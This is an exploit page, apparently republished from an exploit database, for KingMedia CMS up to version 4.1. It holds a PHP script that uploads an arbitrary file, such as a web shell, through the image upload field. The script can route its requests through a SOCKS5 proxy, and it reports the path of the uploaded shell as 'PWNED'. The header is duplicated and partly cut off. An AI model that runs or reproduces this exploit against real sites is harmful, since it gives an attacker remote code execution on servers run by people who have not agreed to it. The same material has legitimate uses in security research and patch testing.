# Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://code # Exploit Title: KingMedia 4.1 - Remote Code Execution
# Author: Efren Diaz
# Exploit Date: 2018-08-15
# Software: KingMedia
# Version: 1.x, 2.x, 3.x, 4.1
# Link: https://codecanyon.net/item/king-media-video-image-upload-and-share/7877877
# CVE: N/A
<?php
// Author: Efren Diaz (elefr3n)
// https://twitter.com/elefr3n
echo "--------------------------------------------
";
echo "KING MEDIA CMS ARBITRARY FILE UPLOAD EXPLOIT
";
echo "--------------------------------------------
";
if (!isset($argv[2]))
{
echo "
Usage: exploit.php <target> <file> <socks5>
";
echo " -target: http://site.com/... (required)
";
echo " -file: shell.php (required)
";
echo " -socks5: 127.0.0.1:1337 (optional)
";
} else {
echo "
Uploading file...
";
$file = $argv[2];
$target = $argv[1];
$mimeType = image_type_to_mime_type(exif_imagetype($file));
$cFile = curl_file_create($file, $mimeType, $file);
$post = array(
'ImageFile'=> $cFile
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
if (isset($argv[3])) {
curl_setopt($ch, CURLOPT_PROXY, isset($argv[3]));
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
$result=curl_exec($ch);
preg_match_all('/src="(.*)" alt="Resized/i',$result,$uploaded_shell);
if (isset($uploaded_shell[1][0])) {
echo "PWNED ! :D
{$uploaded_shell[1][0]}
";
} else {
echo "Something was bad... str result:
{$result}";
}
curl_close ($ch);
}
KingMedia 4.1 Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 296